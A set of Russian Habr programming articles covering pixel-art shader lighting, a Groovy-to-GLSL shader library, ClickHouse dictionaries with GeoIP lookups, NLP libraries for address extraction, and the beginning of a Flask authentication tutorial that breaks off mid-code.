На предыдущем скриншоте трава столь яркая, потому что освещена солнцем, но кажется, будто она светится сама. Добавим свет на грани спрайтов-препятствий.
В шейдере теней, который спрятан где-то в этой статье, отсекаются тени, которые светят "внутрь" объекта. Теперь они нам понадобятся, чтобы сделать самозатенение для граней. Сами грани будут принимать свет благодаря нашему постэффекту для смешивания освещения и сцены (опять-же, используя stencil-буфер). Грязный хак — чтобы объект не затенял ближайшие к источнику грани, будем двигать точки тени, в которых нормаль равна нулю в сторону от источника света (на один пиксель).
**Если быть честным...**… То двигаем мы ещё и в сторону нормали, лишь бы один пиксель был точно без тени. Выглядит это как-то так:
```
fixed2 direction = -delta * _PixelSize;
fixed2 normalDirection = -v.normal.xy * _PixelSize;
if (abs(direction.x) < abs(normalDirection.x))
direction.x = normalDirection.x;
if (abs(direction.y) < abs(normalDirection.y))
direction.y = normalDirection.y;
o.color = fixed4(0, 0, 1, 1);
o.vertex = mul(UNITY_MATRIX_MVP, v.vertex + fixed4(direction, 0, 0));
return o;
```
Так-то лучше:
Ещё бывает, что в воздухе много пара, пыли или дыма, и частички отражают свет, образуя в воздухе красивые лучи, которые называют "cумеречные лучи" или "god rays". У нас уже есть всё необходимое, чтобы их сделать — нужно только разрешить постэффекту рисовать свет там, где в stencil-буфер ничего не записано. Есть два момента: во-первых, добавим некий коэффициент, чтобы настраивать силу такого освещения, во-вторых, этот свет нужно складывать с цветом неба, а не умножать: лучи ведь не зависят от цвета неба, только от запылённости.
#### Заключение
Осталось посмотреть, как выглядит всё это в динамике:
**И, для любопытных, как он выглядит в редакторе:**С включенными Gizmo света, ботов, ветра и препятствий:
Итак, у нас есть вполне рабочее освещение для pixelart проекта. Оно поддерживает динамические объекты, мягкие тени и прочие эффекты. Вполне можно двигаться дальше! На данный момент в проекте есть несколько направлений, которые частично завершены, и про которые будет, надеюсь, интересно прочесть. Поэтому, о чём будет следующая статья — предоставляю решать вам.
Конечно, осталось достаточно нераскрытых вопросов, например, оптимизация и работа на мобильных девайсах. Но об этом — в следующие разы. | https://habr.com/ru/post/305252/ | null | ru | null |
# Отладка шейдеров на Java + Groovy
Подсветка синтаксиса шейдеров. Связь между шейдерами и внешними структурами данных. Юнит-тесты для шейдеров, дебаг, рефакторинг, статический анализ кода, и вообще полная поддержка IDE. О том, как всё это получить, в чём подвох, и что прописать в мавене…
Создаем проект.
```
$ git clone https://github.com/kravchik/senjin
```
Копируем нативные библиотеки в корень проекта.
```
$ mvn nativedependencies:copy
```
Это позволит нам запускать файлы, в которых есть метод “main” по Ctrl+Shift+F10 (в IDEA) непосредственно из окна редактора, не беспокоясь о classpath.
Библиотека работает так: код шейдеров пишется на Groovy, затем транслируется в обычный glsl код. Шейдер в Groovy пишется как обычный код, который можно вызывать из Java. Шейдер использует те же поля и классы что и основная программа. Это позволяет IDE понимать как шейдер и остальной код связаны между собой, они для неё — обычные Groovy и Java классы. В результате имеем следующие удобства:
* поддержка IDE (рефакторинги, подсветка)
* статический анализ простых и не очень ошибок
* отладка шейдера
* юнит тесты для шейдеров
* связь между структурами буферов и шейдеров
Но даже если вы используете другие языки — вы всё равно можете держать шейдера в Groovy и Java. Вы не получите связки с остальным проектом, но юнит-тесты, дебаг, поддержка IDE будут доступны. Тогда в основном проекте просто будут использоваться авто-генерируемые файлы с glsl кодом.
Конкретный пример
-----------------
Покажу основные моменты на примере specular shader (рендеринг “пластмассового материала”) — он достаточно простой, но в нём используются varying, uniform, attributes, текстуры, есть математика, в общем можно пощупать технологию.
### Пиксельный шейдер
Это обычный Groovy-класс с методом main. Стандартные opengl-функции шейдер получает в наследство. Uniform переменные объявляются как поля шейдера. Код шейдера находится в функции main, но её объявление отличается от glsl — в явном виде указывается что попадает на вход шейдера (SpecularFi), и куда надо писать результат (StandardFrame). Так же пришлось отказаться от имен вида vec3, vec4, поскольку Groovy не удалось подружить с именами классов начинающихся с маленькой буквы.
```
public class SpecularF extends FragmentShaderParent {
public Sampler2D txt = new Sampler2D()
public float shininess = 10;
public Vec3f ambient = Vec3f(0.1, 0.1, 0.1);
public Vec3f lightDir
def void main(SpecularFi i, StandardFrame o) {
Vec3f color = texture(txt, i.uv).xyz;
Vec3f matSpec = Vec3f(0.6, 0.5, 0.3);
Vec3f lightColor = Vec3f(1, 1, 1);
Vec3f diffuse = color \* max(0.0, dot(i.normal, lightDir)) \* lightColor;
Vec3f r = normalize(reflect(normalize(i.csLightDir), normalize(i.csNormal)));
Vec3f specular = lightColor \* matSpec \* pow(max(0.0, dot(r, normalize(i.csEyeDir))), shininess);
o.gl\_FragColor = Vec4f(ambient + diffuse + specular, 1);
}
}
```
Здесь уже можно увидеть достоинства подхода. Делаем небольшую ошибку в названии и IDE сразу сообщает об этом.
Смотрим что попадает на вход пиксельного шейдера (ctrl+space).
Запускаем юнит тест и смотрим в дебаге на вычисления.
### Входные данные для пиксельного шейдера
SpecularFi (fragment input). Класс содержащий данные, являющиеся исходящими для вертексного шейдера и входящими для пиксельного.
```
public class SpecularFi extends BaseVSOutput {
public Vec3f normal;
public Vec3f csNormal;//cam space normal
public Vec3f csEyeDir;
public Vec2f uv;
public Vec3f csLightDir;//cam space light dir
}
```
### Вертексный шейдер
Так же как и пиксельный шейдер — это Groovy-класс, с uniform переменными в полях и методом main с явным указанием классов входящих и исходящих данных.
```
class SpecularV extends VertexShaderParent {
public Matrix3 normalMatrix;
public Matrix4 modelViewProjectionMatrix;
public Vec3f lightDir
void main(SpecularVi i, SpecularFi o) {
o.normal = i.normal
o.csNormal = normalMatrix \* i.normal
o.gl\_Position = modelViewProjectionMatrix \* Vec4f(i.pos, 1)
o.csEyeDir = o.gl\_Position.xyz
o.uv = i.uv
o.csLightDir = normalMatrix \* lightDir
}
}
```
### Входные данные для вертексного шейдера
SpecularVi (vertex input). Класс попадающий на вход вертексному шейдеру. Его же можно использовать для заполнения буфера данных, код которого без участия программиста договорится с кодом шейдера (прощайте glGetAttribLocation, glBindBuffer, glVertexAttribPointer и другие потроха).
```
public class SpecularVi {
public Vec3f normal;
public Vec3f pos;
public Vec2f uv;
}
```
Создание вертексного и пиксельного шейдера и объединение их в программу:
```
SpecularF fragmentShader = new SpecularF();
SpecularV vertexShader = new SpecularV();
GShader shaderProgram = new GShader(vertexShader, fragmentShader);
```
Как видно, их создание — это обычное инстанциирование классов. Шейдера оставляем в переменных чтобы позднее передать в них данные (степень блеска, направление света, и др.).
Далее создаётся буфер с данными. Здесь используется тот же класс, что попадал на вход вертексному шейдеру.
```
ReflectionVBO vbo1 = new ReflectionVBO();
vbo1.bindToShader(shaderProgram);
vbo1.setData(al(
new SpecularVi(v3(-5, -5, 0), v3(-1,-1, 1).normalized(), v2(0, 1)),
new SpecularVi(v3( 5, -5, 0), v3( 1,-1, 1).normalized(), v2(1, 1)),
new SpecularVi(v3( 5, 5, 0), v3( 1, 1, 1).normalized(), v2(1, 0)),
new SpecularVi(v3(-5, 5, 0), v3(-1, 1, 1).normalized(), v2(0, 0))));
vbo1.upload();
```
Заполнение входных данных для шейдеров. Передача параметров — просто выставление значений полей в Groovy-объектах шейдеров (которые предусмотрительно остались доступны в виде переменных).
```
fragmentShader.shininess = 100;
vertexShader.lightDir = new Vec3f(1, 1, 1).normalized();
//enable texture
texture.enable(0);
fragmentShader.txt.set(texture);
//give data to shader
shaderProgram.currentVBO = vbo1;
```
И, собственно, подключение шейдера и отрисовка.
```
shaderProgram.enable();
indices.draw();
```
Юнит-тест шейдера.
```
f.main(vso, frame);
assertEquals(1, frame.gl_FragColor.w, 0.000001);
assertEquals(1 + 0.1 + 0.6, frame.gl_FragColor.x, 0.0001);
assertEquals(1 + 0.1 + 0.5, frame.gl_FragColor.y, 0.0001);
assertEquals(1 + 0.1 + 0.3, frame.gl_FragColor.z, 0.0001);
```
Весь код примера [находится тут](https://github.com/kravchik/senjin/tree/master/src/main/java/yk/senjin/shaders/gshader/examples/specular).
```
Test.java //простой юнит-тест шейдера
RawSpecular.java //простейший мейник создающий картинку для хабра
SpecularF.groovy //пиксельный шейдер
SpecularV.groovy //вертексный шейдер
SpecularVi.java //класс, описывающий вертекс (specular Vertex shader Input)
SpecularFi.java //класс, описывающий данные идущие из вертексного в пиксельный (specular Fragment shader Input) шейдер
WatchSpecular.java //более сложный мейник с кнопками, мышью, и прочим, усложняющим понимание и улучшающим экспириенс
```
Библиотеку легко подключить через Maven:
```
yk
senjin
0.11
yk.senjin
https://github.com/kravchik/mvn-repo/raw/master
```
Ну и коротко о синтаксических отличиях:
1. в теле шейдера используется Vec3f вместо vec3 (груви не удалось подружить с классом начинающимся с маленькой буквы)
2. нет uniform — вместо них просто поля в шейдере
3. нет varying, in, out — вместо них поля в классах, передаваемых в main
P.S. Проект я развиваю стихийно — то понадобится что-то, то просто интересно что-то сделать. Пока не успел сделать структуры и много чего другого. Если вам необходим какой-то функционал или направление развития (android? geometry shaders? kotlin?) — обращайтесь, обсудим!
Так же хочу выразить благодарность [oshyshko](http://habrahabr.ru/users/oshyshko/) и [olexiy](http://habrahabr.ru/users/olexiy/) за помощь в написании статьи. | https://habr.com/ru/post/269591/ | null | ru | null |
# Как создавать и использовать словари в ClickHouse
Если вы открыли эту ~~дверь~~ статью, то наверняка, вы уже имели дело с ClickHouse и можно упустить интересные подробности об его удобстве и скорости, а перейти сразу к делу – собственно, к тому, как создавать словари и работать с ними в ClickHouse.
Что такое словари в ClickHouse?
-------------------------------
**Словарь — это отображение данных в виде `key` → `value`.** Появление словарей очень упростило использование сторонних источников данных в ClickHouse, автоматизировав все необходимые ETL-процессы для доставки данных в пригодную для запросов форму.
Из преимуществ использования словарей в ClickHouse можно выделить несколько пунктов:
* ClickHouse имеет поддержку различных вариантов расположения словарей в памяти.
* Поддержка `TTL` – ClickHouse автоматически обновляет словари и подгружает отсутствующие значения.
* ClickHouse предоставляет несколько вариантов для описания внешних словарей — XML-файлы и DDL-запросы.
Подключение словарей
--------------------
Подключить собственные словари можно из различных источников данных: локального текстового/исполняемого файла, HTTP(s) ресурса, другой СУБД и т.д.
Конфигурация этих словарей может находиться в одном или нескольких xml-файлах, путь к которым указывается в параметре `dictionaries_config` в конфигурационном файле ClickHouse.
Словари могут загружаться при старте сервера или при первом использовании, в зависимости от настройки `dictionaries_lazy_load`.
Также обновление словарей (кроме загрузки при первом использовании) не блокирует запросы — во время обновления запросы используют старую версию словарей.
Для просмотра информации о словарях, сконфигурированных на сервере, есть таблица `system.dictionaries`, в ней можно найти:
* статус словаря;
* конфигурационные параметры;
* метрики, наподобие количества занятой словарем RAM или количества запросов к словарю с момента его успешной загрузки.
Конфигурация словарей
---------------------
На данный момент есть способ конфигурации словарей через xml файлы и через DDL-запросы. Вы можете использовать любой удобный для вас способ, но самый простой способ создавать и контролировать словари — это используя DDL-запросы.
**Общий внешний вид конфигурации xml словаря:**
```
Some comments
/etc/metrika.xml
...
```
Если вы выбрали создание словарей через DDL-запросы, то не задавайте конфигурацию словаря в конфигурации сервера.
**Пример конфигурации словаря:**
```
clients
myHostName
9000
admin
secret\_password
clients
users
id<=10
3600
5400
user\_id
username
string
age
Int8
```
Поля настройки:
* `name` — имя словаря;
* `source` — источник словаря;
* `lifetime` — периодичность обновления словарей;
* `layout` — размещение словаря в памяти. От этого значения зависит скорость обработки словаря;
* `structure` — структура словаря. Ключ и атрибуты, которые можно получить по ключу.
**Пример создания словаря через DDL-запрос:**
```
CREATE DICTIONARY dict_users_id (
id UInt64,
username String,
email String,
status UInt16,
hash String
)
PRIMARY KEY id
SOURCE(MYSQL(
port 3306
user clickhouse
password secret_password
replica(host 'mysql1.fevlake.com' priority 1)
db fevlake_dicts
table users
))
LAYOUT(HASHED())
LIFETIME(MIN 3600 MAX 5400);
```
Источники внешних словарей
--------------------------
Внешние словари можно подключить через множество разных источников. Основные из них — это:
* Локальный файл
* Исполняемый файл
* HTTP(s)
* СУБД
Самые распространенные способы подключения словарей — через локальный файл либо СУБД, поэтому именно их мы и рассмотрим далее.
### Локальный файл
Пример подключения словаря через локальный файл имеет следующий вид:
```
/opt/dictionaries/clients.csv
CSV
```
Поля настройки:
* `path` — абсолютный путь к файлу.
* `format` — формат файла. Поддерживаются все форматы ClickHouse.
Или через DDL-запрос:
```
SOURCE(FILE(path '/opt/dictionaries/clients.csv' format 'CSV'))
SETTINGS(format_csv_allow_single_quotes = 0)
```
### СУБД
Рассмотрим подключение СУБД на примере MySQL базы данных.
Пример настройки:
```
3306
clickhouse
secret\_password
example01-1
1
example01-2
1
db\_name
table\_name
id=10
SQL\_QUERY
```
* `port` — порт сервера MySQL. Можно задать отдельно для каждой реплики внутри тега .
* `user` — имя пользователя MySQL. Можно задать отдельно для каждой реплики внутри тега .
* `password` — пароль пользователя MySQL. Можно задать отдельно для каждой реплики внутри тега .
* `replica` — блок конфигурации реплики. Блоков может быть несколько.
* `db` — имя базы данных.
* `table` — имя таблицы.
* `where` — условие выбора. Синтаксис полностью совпадает с синтаксисом секции `WHERE` в MySQL, к примеру, `id >= 3 AND id < 10` (необязательный параметр).
* `invalidate_query` — запрос для проверки статуса словаря (необязательный параметр).
Или через DDL-запрос:
```
SOURCE(MYSQL(
port 3306
user clickhouse
password secret_password
replica(host 'mysql1.fevlake.com' priority 1)
db fevlake_dicts
table users
))
```
Хранение словарей в памяти
--------------------------
Существует много способов хранения словарей в памяти ClickHouse:
* `flat`
* `hashed`
* `sparse_hashed`
* `cache`
* `direct`
* `range_hashed`
* `complex_key_hashed`
* `complex_key_cache`
* `complex_key_direct`
* `ip_trie`
Самые популярные из них всего 3, поскольку скорость обработки словарей при этом максимальна, — это `flat`, `hashed` и `complex_key_hashed`. Давайте рассмотрим примеры этих способов хранения.
### Flat
Словари полностью хранятся в оперативной памяти в виде плоских массивов, при этом объем занятой памяти пропорционален размеру самого большого по размеру ключа словаря. Ключ словаря должен иметь тип `UInt64` и не должен быть длиннее 500 000, иначе ClickHouse бросит исключение и не создаст словарь.
Этот метод хранения обеспечивает максимальную производительность среди всех доступных способов хранения словаря.
Пример конфигурации:
```
```
или
```
LAYOUT(FLAT())
```
### Hashed
Словарь полностью хранится в оперативной памяти в виде хэш-таблиц и может содержать произвольное количество элементов с произвольными идентификаторами. На практике, количество ключей может достигать десятков миллионов элементов.
Пример конфигурации:
```
```
или
```
LAYOUT(HASHED())
```
### Сomplex\_key\_hashed
Этот тип размещения предназначен для использования с составными ключами. Аналогичен `hashed` способу.
Пример конфигурации:
```
```
или
```
LAYOUT(COMPLEX_KEY_HASHED())
```
Ключ и поля словаря
-------------------
Секция описывает ключ словаря и поля, доступные для запросов.
Описание в формате XML:
```
user\_id
username
string
age
Int8
```
Поля настройки:
* — столбец с ключом;
* — столбец данных. Можно задать несколько атрибутов.
### Ключи
ClickHouse поддерживает следующие виды ключей:
* Числовой ключ. `UInt64`. Описывается в теге или ключевым словом `PRIMARY KEY`.
* Составной ключ. Набор значений разного типа. Описывается в теге или ключевым словом `PRIMARY KEY`.
**Числовой ключ**
Тип: `UInt64`.
Пример конфигурации:
```
user\_id
```
или
```
CREATE DICTIONARY (
user_id UInt64,
...
)
PRIMARY KEY user_id
...
```
* `PRIMARY KEY` – имя столбца с ключами.
**Составной ключ**
Ключом может быть кортеж (`tuple`) из полей произвольных типов. В этом случае `layout` должен быть `complex_key_hashed` или `complex_key_cache`.
Структура ключа задается в элементе . Поля ключа задаются в том же формате, что и атрибуты словаря. Пример:
```
field1
String
field2
UInt32
...
```
или
```
CREATE DICTIONARY ( field1 String, field2 String ... )
PRIMARY KEY field1, field2
...
```
### Атрибуты
```
...
Name
ClickHouseDataType
rand64()
true
true
true
```
или
```
CREATE DICTIONARY somename (
Name ClickHouseDataType DEFAULT '' EXPRESSION rand64() HIERARCHICAL INJECTIVE IS_OBJECT_ID
)
```
Как можно использовать словари в ClickHouse
===========================================
Один из популярных кейсов использования словарей в ClickHouse — это **агрегация данных по странам на основе IP (v4) адресов**.
Представим, что перед нами задача: из данных колонки с `ip String` получить в запросе колонку с `country String`. Для решения данной задачи мы возьмем довольно популярные базы **GeoIP2** от MaxMind.
MaxMind предоставляет со своими **.mmdb** базами API для большинства популярных языков программирования.
В ClickHouse нет возможности загрузить в словарь формат **.mmdb**, но нам это и не понадобится – MaxMind позволяет загрузить свои базы в виде нескольких CSV, чем мы и воспользуемся.
Для того чтобы связать IP со страной, нам необходимо скачать следующие файлы:
* `GeoIP2-Country-Blocks-IPv4.csv` – здесь содержатся связи IP префиксов и ID стран;
* `GeoIP2-Country-Locations-en.csv` – а здесь уже названия стран на английском.
Далее, заведем соответствующие словари с помощью DDL:
```
CREATE DICTIONARY dicts.geoip_country_blocks_ipv4 (
network String DEFAULT '',
geoname_id UInt64 DEFAULT 0,
registered_country_geoname_id UInt64 DEFAULT 0,
represented_country_geoname_id UInt64 DEFAULT 0,
is_anonymous_proxy UInt8 DEFAULT 0,
is_satellite_provider UInt8 DEFAULT 0
)
PRIMARY KEY network
SOURCE(FILE(
path '/var/lib/clickhouse/user_files/GeoIP2-Country-Blocks-IPv4.csv'
format 'CSVWithNames'
))
LAYOUT(IP_TRIE())
LIFETIME(300);
```
В словаре `geoip_country_blocks_ipv4` мы должны указать два основных атрибута:
* `network` – IP префикс сети, он же и будет ключом словаря.
* `geoname_id` – ID страны.
Остальные атрибуты – в соответствии с заголовком в CSV.
Чтобы ClickHouse мог корректно сопоставить префикс сети и ID, нам необходимо использовать тип размещения `ip_trie`. Для получения значений из такого словаря необходимо будет передавать IP адрес в числовом представлении.
Теперь `geoip_country_locations_en`:
```
CREATE DICTIONARY dicts.geoip_country_locations_en (
geoname_id UInt64 DEFAULT 0,
locale_code String DEFAULT '',
continent_code String DEFAULT '',
continent_name String DEFAULT '',
country_iso_code String DEFAULT '',
country_name String DEFAULT '',
is_in_european_union UInt8 DEFAULT 0
)
PRIMARY KEY geoname_id
SOURCE(FILE(
path '/var/lib/clickhouse/user_files/GeoIP2-Country-Locations-en.csv'
format 'CSVWithNames'
))
LAYOUT(HASHED())
LIFETIME(300);
```
Нам нужно связать ID и название страны. В заголовках `GeoIP2-Country-Locations-en.csv` можно найти следующие атрибуты:
* `geoname_id` – ID страны, как в предыдущем словаре, но теперь в качестве ключа.
* `country_name` – название страны.
В качестве типа размещения указываем оптимизированный `hashed`.
В каждом из словарей необходимо указать пути к соответствующим CSV файлам.
Теперь, имея таблицу:
```
CREATE TEMPORARY TABLE user_visits (user_ip String, user_id UUID);
---
INSERT INTO user_visits VALUES
('178.248.237.68', generateUUIDv4()),
('82.192.95.175', generateUUIDv4());
```
Можем посчитать количество уникальных значений по странам. Один из способов это сделать – использовать функции для работы со словарями `dictGet*`:
```
SELECT
dictGetString('dicts.geoip_city_locations_en', 'country_name', users_country_id) AS users_country,
uniqs
FROM (
SELECT
dictGetUInt64('dicts.geoip_country_blocks_ipv4', 'geoname_id', tuple(IPv4StringToNum(user_ip))) AS users_country_id,
uniq(user_id) AS uniqs
FROM user_visits
GROUP BY users_country_id
);
```
Ответ:
```
┌─users_country─┬─uniqs─┐
│ Russia │ 1 │
│ Netherlands │ 1 │
└───────────────┴───────┘
2 rows in set. Elapsed: 0.003 sec.
```
Разберем данный запрос:
1. конвертируем строковое представление `user_ip` в числовое и оборачиваем в кортеж, чтобы соответствовать составному ключу `ip_trie`-словаря: `tuple(IPv4StringToNum(user_ip))`;
2. используем получившийся ключ, чтобы забрать ID страны как `users_country_id`: `dictGetUInt64('geoip_country_blocks_ipv4', 'geoname_id', ...) as users_country_id`;
3. добавляем в запрос саму метрику: `uniq(user_id) as uniq_users`;
4. агрегируем по ID страны, который взяли из словаря: `GROUP BY users_country_id`;
5. результат, содержащий ID стран, сопоставляем с названиями: `dictGetString('geoip_city_locations_en', 'country_name', users_country_id) AS users_country`.
Таким образом возможно сопоставлять не только названия стран. В тех же GeoIP2 базах есть много другой полезной информации, не бойтесь пробовать :)
Заключение
==========
На этом первичное знакомство со словарями закончено. Надеюсь, что данная информация расширит ваши возможности использования ClickHouse и поможет правильно настраивать внешние источники данных. | https://habr.com/ru/post/513972/ | null | ru | null |
# NLP. Проект по распознаванию адресов. Natasha, Pullenti, Stanza
Многие аналитики данных сталкиваются с задачей распознавания адресов, напечатанных на документах. Для решения этой задачи я обратился к инструментам выявления сущностей в тексте с помощью NLP: NLTK, Spacy, Flair, DeepPavlov, Polyglot, AdaptNLP, Stanza, AllenNLP, HanLP, PullEnti, Natasha и тд. Глаза начали разбегаться. И что же делать? Конечно, выбрать самое лучшее. Я принял решение выбрать несколько самых популярных библиотек, поддерживающих русский язык, и сравнить, какую же из них использовать? Natasha, Stanza и PullEnti привлекли мое внимание. Далее пойдет речь именно об этих библиотеках.
### 1. Stanza
Stanza —это набор точных и эффективных инструментов для лингвистического анализа многих человеческих языков, разработанных университетом Стенфордом в 2020 году. Он содержит инструменты, которые можно использовать в конвейере для преобразования строки, содержащей текст на человеческом языке в списки предложений и слов с целью создания базовых форм этих слов, их частей речи и морфологических признаков, для анализа зависимости синтаксической структуры и распознавания именованных сущностей. Инструментарий предназначен для параллельного использования более чем 70 языков.
Использование:
```
#Импорт Stanza
import stanza
# Скачивание требуемой модели
stanza.download('ru')
# инициализация нейронной модели
nlp = stanza.Pipeline('ru')
#Текст, содержащий адреса
text = "текст текст текст Россия, Воронежская обл., г. Воронеж, Ленинский р-н, ул. 9 Января, д. 68к текст текст текст"
#Извлечение адреса из текста
doc = nlp(text)
#Цикл для вывода адреса в удобной форме
for el in doc.sentences:
for ent in el.entities:
if (ent.type in ('LOC')):
print (ent.text,' ',ent.type)
```
Результат:
Stanza использует предварительно обученные и настроенные модели и языки, которые для использования требуется предварительно загрузить, что не всегда бывает удобно (для русского языка она требовала 524мб памяти). Чувствительна к расположению ключевых слов и их сокращений, не всегда видит названия населенных пунктов, состоящих из нескольких слов, отказывается видеть номера домов, корпусов, и квартир. Но стоит заметить, что Stanza проста в использовании: библиотеку достаточно импортировать, загрузить модель, вызвать функцию, а на выходе получить объект, из которого после выполнения необходимо извлечь нужные нам атрибуты.
### 2. Natasha
Natasha решает основные задачи NLP для русского языка: токенизация, сегментация предложений, встраивание слов, разметка морфологии, лемматизация, нормализация фраз, разбор синтаксиса, разметка NER, извлечение фактов.
Использование:
```
#Импортируем необходимые модули из Natasha и объявляем переменные
from natasha import (
Segmenter,
MorphVocab,
LOC,
AddrExtractor
)
segmenter = Segmenter()
morph_vocab = MorphVocab()
addr_extractor = AddrExtractor(morph_vocab)
#Текст, содержащий адреса
text = "текст текст текст Россия, Воронежская область, г. Воронеж, район Ленинский, ул. 9 Января, д. 68к текст текст текст"
#Извлечение адреса из текста
matches = addr_extractor(text)
facts = [i.fact.as_json for i in matches]
#Цикл для вывода адреса в удобной форме
for i in range(len(facts)):
tmp = list(facts[i].values())
print(tmp[1], tmp[0])
```
Результат:
Natasha так же зависима от расположения ключевых слов и их сокращений, не распознает редкие сокращения населенных пунктов, не находит районы в адресах. Но т.к. Natasha использует словари и правила для распознавания сущностей, то их можно обогатить новыми данными, что позволит расширить функциональные возможности библиотеки, подстроив ее под конкретные задачи, например в библиотеке нет правила распознавания микрорайонов.
### 3. Pullenti
Pullenti предназначено для разработчиков информационных систем, имеющих дело с неструктурированными данными - текстами на естественном языке. Это программное обеспечение с открытым исходным кодом представлено на языках программирования C#, Java, Python и JavaScript.
SDK состоит из трёх независимых друг от друга частей:
* Lingvo - лингвистический анализ текстов;
* Unitext - выделение текстов из файлов;
* Address - выделение из текста адресов и их привязка к ГАР ФИАС.
Использование:
```
#Импортируем необходимые модули из Pullenti и объявляем переменные
from pullenti_wrapper.langs import (
set_langs,
RU
)
set_langs([RU])
from pullenti_wrapper.processor import (
Processor,
GEO,
ADDRESS
)
from pullenti_wrapper.referent import Referent
processor = Processor([GEO, ADDRESS])
#Текст, содержащий адреса
text = "текст текст текст Россия, Воронежская область, г. Воронеж, Ленинский р-н, л. 9 Января, д. 68к текст текст текст"
#Функция формирования словаря с адресами
def display_shortcuts(referent, level=0):
tmp = {}
a = ""
b = ""
for key in referent.__shortcuts__:
value = getattr(referent, key)
if value in (None, 0, -1):
continue
if isinstance(value, Referent):
display_shortcuts(value, level + 1)
else:
if key == 'type':
a = value
if key == 'name':
b = value
# print('ok', value)
if key == 'house':
a = "дом"
b = value
tmp[a] = b
if key == 'flat':
a = "квартира"
b = value
# print('ok', value)
tmp[a] = b
if key == 'corpus':
a = "корпус"
b = value
tmp[a] = b
tmp[a] = b
addr.append(tmp)
#Использование функции display_shortcuts и вывод результатов
addr = []
result = processor(text)
referent = result.matches[0].referent
display_shortcuts(referent)
print(addr)
```
Результат:
Pullenti имеет более лучшие показатели в задаче распознавания адресов при сравнении с конкурентами. Одним из плюсов является то, что в тексте осуществляется поиск адреса и привязка к объектам из ГАР ФИАС. То есть если адрес распознался, то значит он точно существует. Но Pullenti все-таки не лишен зависимости от расположения ключевых слов и их сокращений. В качестве приятного бонуса Pullenti имеет демонстрацию возможностей библиотеки, которую вы можете увидеть, перейдя по [ссылке](https://garfias.ru/demo).
Для реализации всех примеров использования библиотек пришлось расширить программный код и обогатить исходный словарь новыми элементами.
После тестирования описанных модулей на тестовом наборе данных, состоящих из 500 адресов, приведенных в различных форматах, можно сделать вывод, что нет идеального инструмента “из коробки”, для распознавания сущностей адреса в тексте.
Подводя итоги, стоит отметить, что каждый исследованный инструмент по-своему хорош для решения конкретной задачи. При использовании библиотек необходимо учитывать их особенности и дополнительные возможности, которые предоставляются разработчиками этих решений.
Думаю, что данный материал будет полезен при решении задачи распознавания сущностей из текста, в частности адресов. В случае возникновения вопросов вы можете обращаться за консультацией к автору статьи. | https://habr.com/ru/post/667442/ | null | ru | null |
# Разбираемся с концепцией аутентификации в HTTP
Я часто путаю понятия авторизации и аутентификации между собой, поэтому решил создать материал, который закрепил бы эти понятия через какой-то практический опыт.
Термины аутентификации и авторизации для меня достаточно расплывчаты, если представить их в контексте практической бэкенд разработки. Я не совсем понимал логику работы аутентификации в фреймворках. В добавок эти концепции можно легко перепутать между собой. При общении с коллегами это было достаточно часто.
В данном случае под бэкенд разработкой я подразумеваю создание разного рода API с использованием протокола HTTP. Мне, как разработчику, часто приходится писать очередной REST API для мобильных приложений или веб страниц. Например, берем Flask и быстро пишем микросервис с API для конкретной части приложения заказчика. Или берем django и django-rest-framework и пишем REST API для стартапа. Во всех таких проектах когда-нибудь, да приходится иметь дело с аутентификацей. Аутентификация через JWT, Oauth. И всегда реализация этой части сводилась к гуглению статей, копированию кода и подходов.
Я же хочу создать статью, которая поэтапно раскроет базовые концепции аутентификации и авторизации на практике, после чего вы сможете применять эти знания, чтобы не путать понятия и строить свои системы. Надеюсь, вам будет легче решать связанные с этим задачи. Я не собираюсь просто в лоб написать, что означают эти термины. Статья написана в таком стиле, будто бы вы изначально находитесь у истоков создания аутентификации и придумываете свой велосипед.
### Сервис для создания заметок
Давайте представим, что вы делаете веб-сервис API для заметок. Новый стартап кремниевой долины. В качестве фреймворка вы выбрали Flask, БД – sqlite, для доступа к БД через ORM – SQLAlchemy.
Сервис должен уметь сохранять заметки с заголовком и текстом. Начальная модель данных достаточно простая – заголовок(varchar 256) и содержание(text).
модель заметки
```
# app.py
from flask import Flask
app = Flask(__name__)
```
```
# db.py
from flask_sqlalchemy import SQLAlchemy
from app import app
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./notes.db'
db = SQLAlchemy(app)
def init_db():
from models import User, Note # noqa
db.create_all()
```
```
# models.py
class Note(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(256))
body = db.Column(db.Text)
def __repr__(self):
return '' % self.title
```
Вы написали эндпоинт, который принимает данные для заметки, вызывает сервисную функцию create\_note и возвращает HTTP ответ с кодом 201 CREATED и json, дублирующий информацию о заметке. Почему такой статус? Потому что это стандартный ответ для методов создания сущностей в REST API.
Этот эндпоинт может быть использован любой персоной, у кого есть доступ к сервису. Например, наш сервис тестирует ваш друг Вован. Вован садится за компьютер, включает свой любимый HTTP клиент и шлет запросы. Заметка Вована сохраняется на сервере.
Процесс создания заметки
```
# services.py
from flask import Request
from db import db
from models import Note
def create_note(request: Request) -> Note:
note = Note(
title=request.json['title'],
body=request.json['body'],
)
db.session.add(note)
db.session.commit()
return note
```
```
# main.py
from flask import request, jsonify
import services as notes_service
from app import app
@app.route("/notes", methods=['POST'])
def create_note():
note = notes_service.create_note(request=request)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
Вован решил позвать еще одного друга – Димона. Димон садится за компьютер, включает свой любимый HTTP клиент и тоже шлет запросы. Затем вы вместе любуетесь своими заметками в базе данных.
После тестирования сервиса вы с Вованом и Диманом обсуждаете, что можно
добавить в ваш новый стартап. Вован говорит, что сейчас заметки кладутся в
общую кучу и невозможно понять, кто какую заметку написал. Новые юзеры точно
так же будут класть заметки в общую кучу. Разобраться, кто ее написал, будет
очень сложно.
Разные люди тестируют сервис### Идентификация
Вы обсуждаете, что делать дальше. Как понять, кто написал заметку? Нужно узнать человека по какому-то признаку. Например, по имени, но имя должно быть уникальным. Можно использовать псевдоним. Пусть Димон будет сообщать, что он dimon.
Чтобы понять, кто есть кто в вашей системе, люди должны пометить себя какой-то уникальной меткой. Эти люди должны быть нам известны, то есть известны нашей базе денных. Для этого мы создадим отдельную таблицу/модель пользователя. Новая модель пользователя будет иметь псевдоним, который является набором символом, причем уникальным.
Новая сущность. Навешаем уникальные идентификаторы пользователямТаким образом, username позволит нам уникально обозначить пользователя.
```
from db import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(120), unique=True, nullable=False)
def __repr__(self):
return '' % self.username
class Note(db.Model):
id = db.Column(db.Integer, primary\_key=True)
